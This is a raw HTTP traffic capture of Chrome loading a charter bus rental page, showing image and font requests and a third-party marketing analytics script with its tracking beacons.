2025-05-21 19:48:01 UTC	684	OUT	GET /img_new_design/city/icon3.png HTTP/1.1 host: gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://gogocharters.com/lexington-charter-bus accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: i
2025-05-21 19:48:01 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Mon, 01 Jul 2019 10:13:28 GMT etag: "af5-58c9be11ac200" accept-ranges: bytes content-length: 2805 cache-control: max-age=31536000, public content-type: image/png
2025-05-21 19:48:01 UTC	649	OUT	GET /fonts/slick.woff HTTP/1.1 host: gogocharters.com origin: https://gogocharters.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: font referer: https://gogocharters.com/css_new_design/slick.min.css accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=4
2025-05-21 19:48:01 UTC	271	IN	HTTP/1.1 200 OK date: Wed, 21 May 2025 19:48:01 GMT server: Apache/2.4.46 (Ubuntu) last-modified: Tue, 17 Apr 2018 19:49:14 GMT etag: "564-56a10a207e280" accept-ranges: bytes content-length: 1380 cache-control: max-age=31536000, public content-type: font/woff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49705	23.43.51.47	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:47:59 UTC	566	OUT	GET /j/85148f45-208d-4e90-9861-30048671efb8.js HTTP/1.1 host: j.6sc.co sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: script sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1
2025-05-21 19:47:59 UTC	533	IN	HTTP/1.1 200 OK last-modified: Tue, 07 May 2024 15:39:43 GMT etag: "6cbee5c4f863f9bd50766f553cd4adff" x-amz-server-side-encryption: AES256 x-amz-meta-content-type: application/json x-amz-version-id: 1JwLzvChSxg6CQaLM56dY7gBiN0furB1 x-amz-cf-pop: JNB50-C1 x-amz-cf-id: lGXksspqxp7zRKQRd6AyFaO70fM5h1146GzHeJXKANg8JzsFObXByg== vary: Accept-Encoding cache-control: private, max-age=1800 expires: Wed, 21 May 2025 20:17:59 GMT date: Wed, 21 May 2025 19:47:59 GMT content-length: 1002 content-type: application/javascript
2025-05-21 19:47:59 UTC	1002	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 5f 36 73 69 3d 77 69 6e 64 6f 77 2e 5f 36 73 69 7c 7c 5b 5d 2c 77 69 6e 64 6f 77 2e 5f 36 73 69 2e 70 75 73 68 28 5b 22 73 65 74 54 6f 6b 65 6e 22 2c 22 62 33 30 62 34 65 38 33 30 36 38 61 35 30 63 62 62 64 33 39 36 36 34 32 61 32 61 36 37 31 37 38 22 5d 29 2c 77 69 6e 64 6f 77 2e 5f 36 73 69 2e 70 75 73 68 28 5b 22 64 69 73 61 62 6c 65 43 6f 6f 6b 69 65 73 22 2c 21 31 5d 29 2c 77 69 6e 64 6f 77 2e 5f 36 73 69 2e 70 75 73 68 28 5b 22 73 65 74 45 70 73 69 6c 6f 6e 4b 65 79 22 2c 22 32 37 65 66 33 31 39 31 35 62 65 38 38 32 33 63 33 33 37 32 30 63 30 34 65 30 62 64 38 63 61 64 65 31 31 38 66 35 62 65 22 5d 29 2c 77 69 6e 64 6f 77 2e 5f 36 73 69 2e 70 75 73 68 28 5b 22 65 6e 61 62 6c 65 49 50 76 36 50 Data Ascii: !function(){window._6si=window._6si\|\|[],window._6si.push(["setToken","b30b4e83068a50cbbd396642a2a67178"]),window._6si.push(["disableCookies",!1]),window._6si.push(["setEpsilonKey","27ef31915be8823c33720c04e0bd8cade118f5be"]),window._6si.push(["enableIPv6P
2025-05-21 19:48:01 UTC	520	OUT	GET /6si.min.js HTTP/1.1 host: j.6sc.co sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: script sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9
2025-05-21 19:48:01 UTC	494	IN	HTTP/1.1 200 OK last-modified: Wed, 19 Feb 2025 12:59:27 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: P3wU2zsFsU_YKU_VzrjthagDfojxxkBN etag: W/"bc32411fd6fa348d8203d2f26dd9866d" x-amz-cf-pop: LAX50-P4 x-amz-cf-id: Lskro8N2YrFCX1qd-FqytMebbHNxtb4kPu3yU5d-boP_lhjhukU-sA== vary: Accept-Encoding cache-control: private, max-age=10800 expires: Wed, 21 May 2025 22:48:01 GMT date: Wed, 21 May 2025 19:48:01 GMT content-type: application/javascript content-length: 69903
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 7b 7d 2c 65 3d 7b 7d 2c 6e 3d 7b 7d 2c 69 3d 7b 7d 2c 72 3d 7b 7d 2c 6f 3d 7b 7d 2c 61 3d 7b 7d 2c 73 3d 7b 7d 2c 75 3d 7b 7d 2c 6c 3d 7b 7d 2c 63 3d 7b 7d 2c 64 3d 7b 7d 2c 66 3d 7b 7d 2c 68 3d 7b 7d 2c 70 3d 7b 7d 2c 6d 3d 7b 7d 2c 76 3d 7b 7d 2c 62 3d 7b 7d 2c 79 3d 7b 7d 2c 67 3d 7b 7d 2c 77 3d 7b 7d 2c 5f 3d 7b 7d 2c 45 3d 7b 7d 2c 6b 3d 7b 7d 2c 53 3d 7b 7d 2c 54 3d 7b 7d 2c 43 3d 7b 7d 2c 41 3d 7b 7d 2c 46 3d 7b 7d 2c 78 3d 7b 7d 2c 49 3d 7b 7d 2c 4d 3d 7b 7d 2c 50 3d 7b 7d 2c 4c 3d 7b 7d 2c 55 3d 7b 7d 2c 4e 3d 7b 7d 2c 44 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 73 70 72 65 61 64 41 72 72 61 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 69 66 28 6e 7c 7c 32 3d 3d 3d 61 72 67 75 6d Data Ascii: !function(){var t={},e={},n={},i={},r={},o={},a={},s={},u={},l={},c={},d={},f={},h={},p={},m={},v={},b={},y={},g={},w={},_={},E={},k={},S={},T={},C={},A={},F={},x={},I={},M={},P={},L={},U={},N={},D=this&&this.__spreadArray\|\|function(t,e,n){if(n\|\|2===argum
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 78 74 28 29 29 7d 29 7d 2c 48 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 67 65 6e 65 72 61 74 6f 72 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 69 28 5b 74 2c 65 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 69 66 28 72 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 75 3b 29 74 72 79 7b 69 66 28 72 3d 31 2c 6f 26 26 28 61 3d 32 26 6e 5b 30 5d 3f 6f 2e 72 65 74 75 72 6e 3a 6e 5b 30 5d 3f 6f 2e 74 68 72 6f 77 7c 7c 28 28 61 3d 6f 2e 72 65 74 75 72 6e 29 26 26 61 2e 63 61 6c 6c 28 6f 29 2c 30 29 Data Ascii: xt())})},H=this&&this.__generator\|\|function(t,e){function n(t){return function(e){return i([t,e])}}function i(n){if(r)throw new TypeError("Generator is already executing.");for(;u;)try{if(r=1,o&&(a=2&n[0]?o.return:n[0]?o.throw\|\|((a=o.return)&&a.call(o),0)
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 69 66 28 75 29 72 65 74 75 72 6e 20 76 6f 69 64 28 6c 26 26 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 2e 61 70 70 6c 79 28 63 6f 6e 73 6f 6c 65 2c 74 29 29 3b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 2e 61 70 70 6c 79 28 63 6f 6e 73 6f 6c 65 2c 44 28 5b 22 25 63 36 73 65 6e 73 65 20 4a 53 22 2c 22 5c 6e 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 5c 6e 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 70 78 3b 5c 6e 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 64 63 61 62 38 62 3b 5c 6e 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 32 32 33 32 3b 5c 6e 20 Data Ascii: <arguments.length;e++)t[e]=arguments[e];if(u)return void(l&&console.log.apply(console,t));console.log.apply(console,D(["%c6sense JS","\n font-weight: bold;\n border-radius: 3px;\n background-color: #dcab8b;\n color: #192232;\n
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 30 2a 74 2e 6d 69 6e 75 74 65 2c 74 2e 64 61 79 3d 32 34 2a 74 2e 68 6f 75 72 2c 74 2e 79 65 61 72 3d 33 36 35 2a 74 2e 64 61 79 2c 74 7d 28 6e 29 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 65 3d 7b 63 6f 6f 6b 69 65 4e 61 6d 65 3a 22 22 2c 63 6f 6f 6b 69 65 56 61 6c 75 65 3a 22 22 7d 3b 72 65 74 75 72 6e 20 74 2e 73 70 6c 69 74 28 22 3b 20 22 29 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 2e 73 74 61 72 74 73 57 69 74 68 28 22 76 69 73 69 74 6f 72 5f 69 64 22 29 26 26 21 74 2e 69 6e 63 6c 75 64 65 73 28 22 68 61 73 68 22 29 29 7b 76 61 72 20 6e 3d 74 2e 73 70 6c 69 74 28 22 3d 22 29 5b 30 5d 3b 69 66 28 2f 5e 5c 64 2b 24 2f 2e 74 65 73 74 28 6e 2e 72 65 70 6c 61 63 65 28 22 76 Data Ascii: 0t.minute,t.day=24t.hour,t.year=365*t.day,t}(n),i=function(t){function e(t){var e={cookieName:"",cookieValue:""};return t.split("; ").some(function(t){if(t.startsWith("visitor_id")&&!t.includes("hash")){var n=t.split("=")[0];if(/^\d+$/.test(n.replace("v
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 65 56 61 6c 75 65 7d 29 2c 74 7d 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 74 2e 61 3d 74 2e 62 3d 74 2e 63 3d 74 2e 64 3d 74 2e 65 3d 74 2e 67 3d 74 2e 68 3d 74 2e 69 3d 76 6f 69 64 20 30 3b 76 61 72 20 6c 3d 21 31 3b 74 2e 69 3d 6f 3b 76 61 72 20 63 3d 5b 5d 3b 74 2e 68 3d 61 2c 74 2e 67 3d 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 2c 6e 29 7b 74 68 69 73 2e 6a 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6b 3d 74 2c 74 68 69 73 2e 6c 3d 65 2c 74 68 69 73 2e 6d 3d 6e 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 69 66 28 6c 29 7b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 68 69 73 2e 6a 29 7b 76 61 72 20 65 3d 73 28 74 68 69 73 Data Ascii: eValue}),t}t.__esModule=!0,t.a=t.b=t.c=t.d=t.e=t.g=t.h=t.i=void 0;var l=!1;t.i=o;var c=[];t.h=a,t.g=s;var d=function(){function t(t,e,n){this.j=null,this.k=t,this.l=e,this.m=n}return t.prototype.n=function(){var t=this;if(l){if(null===this.j){var e=s(this
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 72 6f 74 6f 74 79 70 65 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6c 3f 28 22 53 74 6f 72 69 6e 67 20 76 61 6c 75 65 20 6f 66 20 63 6f 6f 6b 69 65 20 27 22 2e 63 6f 6e 63 61 74 28 74 68 69 73 2e 6b 2c 22 27 20 69 6e 20 6d 65 6d 6f 72 79 20 64 75 65 20 74 6f 20 63 6f 6f 6b 69 65 73 20 62 65 69 6e 67 20 64 69 73 61 62 6c 65 64 22 29 2c 74 68 69 73 2e 76 61 6c 75 65 43 61 63 68 65 3d 74 2c 63 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 28 65 2e 6b 2c 65 2e 76 61 6c 75 65 43 61 63 68 65 2c 65 2e 6d 29 7d 29 29 3a 61 28 74 68 69 73 2e 6b 2c 74 2c 74 68 69 73 2e 6d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 71 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 6d 3d 74 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e Data Ascii: rototype.o=function(t){var e=this;l?("Storing value of cookie '".concat(this.k,"' in memory due to cookies being disabled"),this.valueCache=t,c.push(function(){a(e.k,e.valueCache,e.m)})):a(this.k,t,this.m)},t.prototype.q=function(t){this.m=t},t.prototype.
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 74 28 72 29 7d 7d 2c 74 7d 28 6f 29 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 7d 72 65 74 75 72 6e 20 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 74 2e 53 68 61 31 3d 76 6f 69 64 20 30 2c 74 2e 53 68 61 31 3d 7b 7d 2c 74 2e 64 65 66 61 75 6c 74 3d 74 2e 53 68 61 31 2c 74 2e 53 68 61 31 2e 68 61 73 68 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3d 65 28 6e 29 3b 76 61 72 20 69 3d 5b 31 35 31 38 35 30 30 32 34 39 2c 31 38 35 39 37 37 35 33 39 33 2c 32 34 30 30 39 35 39 37 30 38 2c 33 33 39 35 34 36 39 37 38 32 5d 3b 6e 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 31 32 38 29 3b Data Ascii: t(r)}},t}(o),a=function(t){function e(t){return unescape(encodeURIComponent(t))}return t.__esModule=!0,t.Sha1=void 0,t.Sha1={},t.default=t.Sha1,t.Sha1.hash=function(n){n=e(n);var i=[1518500249,1859775393,2400959708,3395469782];n+=String.fromCharCode(128);
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 7d 72 65 74 75 72 6e 20 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 2c 74 2e 64 65 66 61 75 6c 74 3d 65 2c 74 7d 28 73 29 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 21 30 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 74 68 69 73 2e 49 3d 21 31 7d 72 65 74 75 72 6e 20 74 2e 70 72 6f 74 6f 74 79 70 65 2e 4a 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 49 26 26 28 74 3d 74 2e 73 70 6c 69 74 28 22 23 22 29 5b 30 5d 29 2c 74 7d 2c 74 7d 28 29 3b 72 65 74 75 72 6e 20 74 2e 64 65 66 61 75 6c 74 3d 6e 65 77 Data Ascii: urn document.referrer}return t.__esModule=!0,t.default=e,t}(s),u=function(t){t.__esModule=!0;var e=function(){function t(){this.I=!1}return t.prototype.J=function(){var t=window.location.href;return this.I&&(t=t.split("#")[0]),t},t}();return t.default=new
2025-05-21 19:48:01 UTC	1460	IN	Data Raw: 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 72 65 74 75 72 6e 20 52 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 6e 2c 72 2c 6f 2c 61 2c 73 3b 72 65 74 75 72 6e 20 48 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 73 77 69 74 63 68 28 6c 2e 6c 61 62 65 6c 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 20 65 3d 74 2e 72 65 70 6f 72 74 69 6e 67 43 61 6c 6c 62 61 63 6b 3f 74 2e 72 65 70 6f 72 74 69 6e 67 43 61 6c 6c 62 61 63 6b 3a 76 2c 65 26 26 65 28 7b 6e 61 6d 65 3a 74 2e 66 4e 61 6d 65 2c 74 69 6d 69 6e 67 3a 74 2e 74 69 6d 69 6e 67 2c 75 72 6c 3a 74 2e 75 72 6c 7d 29 2c 6e 3d 74 2e 72 65 70 6f 72 74 69 6e 67 55 72 6c 3f 74 2e 72 65 70 6f 72 74 69 6e 67 55 72 6c 3a 62 2c 6e 3f 5b Data Ascii: ){function o(t){return R(this,void 0,void 0,function(){var e,n,r,o,a,s;return H(this,function(l){switch(l.label){case 0:return e=t.reportingCallback?t.reportingCallback:v,e&&e({name:t.fName,timing:t.timing,url:t.url}),n=t.reportingUrl?t.reportingUrl:b,n?[
2025-05-21 19:48:01 UTC	558	OUT	GET / HTTP/1.1 host: c.6sc.co sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / origin: https://gogocharters.com sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-05-21 19:48:01 UTC	299	IN	HTTP/1.1 200 OK content-type: text/html content-length: 7 date: Wed, 21 May 2025 19:48:01 GMT access-control-allow-origin: https://gogocharters.com access-control-max-age: 86400 access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-methods: GET,POST
2025-05-21 19:48:02 UTC	1392	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=a_pageload&q=%7B%22pageLoadTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1 host: b.6sc.co sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: image sec-fetch-storage-access: active referer: https://gogocharters.com/ accept-encoding: identity accept-language: en-US,en;q=0.9 priority: i
2025-05-21 19:48:02 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:02 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:02 GMT
2025-05-21 19:48:02 UTC	1460	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=ni%3AasyncSettingsAudit&q=%7B%22settings%22%3A%22%5B%7B%5C%22name%5C%22%3A%5C%22setToken%5C%22%2C%5C%22value%5C%22%3A%5C%22b30b4e83068a50cbbd396642a2a67178%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22disableCookies%5C%22%2C%5C%22value%5C%22%3A%5C%22false%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22setEpsilonKey%5C%22%2C%5C%22value%5C%22%3A%5C%2227ef31915be8823c33720c04e0bd8cade118f5be%5C%22%2C%5C%22dateTime%5C%22%3A%5C%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%5C%22%2C%5C%22timeSincePageLoad%5C%22%3A%5C%220%5C%22%7D%2C%7B%5C%22name%5C%22%3A%5C%22enableIPv6Ping%5C%22%2C%5C%22value%5C%22%3 [TRUNCATED]
2025-05-21 19:48:02 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:02 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:02 GMT
2025-05-21 19:48:03 UTC	1460	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A00%20GMT%22%2C%22timeSpent%22%3A%221015%22%2C%22totalTimeSpent%22%3A%221015%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1 host: b.6sc.co sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: image sec-fetch-storage-access: active referer: https://gogo
2025-05-21 19:48:03 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:03 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:03 GMT
2025-05-21 19:48:03 UTC	1460	OUT	GET /v1/beacon/img.gif?token=b30b4e83068a50cbbd396642a2a67178&svisitor=null&visitor=130d9aab-07d7-43a9-86b9-f96832aa1ca7&session=64a22a28-9fdf-436a-88cf-d1865f53886d&event=active_time_track&q=%7B%22currentTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A02%20GMT%22%2C%22lastTrackTime%22%3A%22Wed%2C%2021%20May%202025%2019%3A48%3A01%20GMT%22%2C%22timeSpent%22%3A%221032%22%2C%22totalTimeSpent%22%3A%222047%22%7D&isIframe=false&m=%7B%22description%22%3A%22Need%20to%20rent%20a%20charter%20bus%20or%20minibus%20in%20Lexington%3F%20Call%20GOGO%20Charters%20Lexington%20at%20859-215-0605%20to%20get%20your%20free%20charter%20bus%20quote%20today!%22%2C%22keywords%22%3A%22%22%2C%22title%22%3A%22Lexington%20Charter%20Bus%20Rental%20%7C%20GOGO%20Charters%20Lexington%22%7D&cb=&r=&thirdParty=%7B%7D&v2=1&pageURL=https%3A%2F%2Fgogocharters.com%2Flexington-charter-bus&pageViewId=3068eee0-b71d-4b54-8a75-b3fea727bf26&an_uid=0&webTagId=85148f45-208d-4e90-9861-30048671efb8&v=1.1.31 HTTP/1.1 host: b.6sc.co sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: cross-site sec-fetch-mode: no-cors sec-fetch-dest: image sec-fetch-storage-access: active referer: https://gogo
2025-05-21 19:48:03 UTC	260	IN	HTTP/1.1 200 OK content-type: image/gif content-length: 43 x-content-type-options: nosniff accept-ranges: bytes expires: Wed, 21 May 2025 19:48:03 GMT cache-control: max-age=0, no-cache, no-store pragma: no-cache date: Wed, 21 May 2025 19:48:03 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49706	18.188.153.65	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:00 UTC	462	OUT	GET /img_new_design/busarrow.png HTTP/1.1 host: gogocharters.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=ki8a0tpms5eldd937h25qbkac8 cookie: phoneNo=859-215-0605 priority: u=1, i
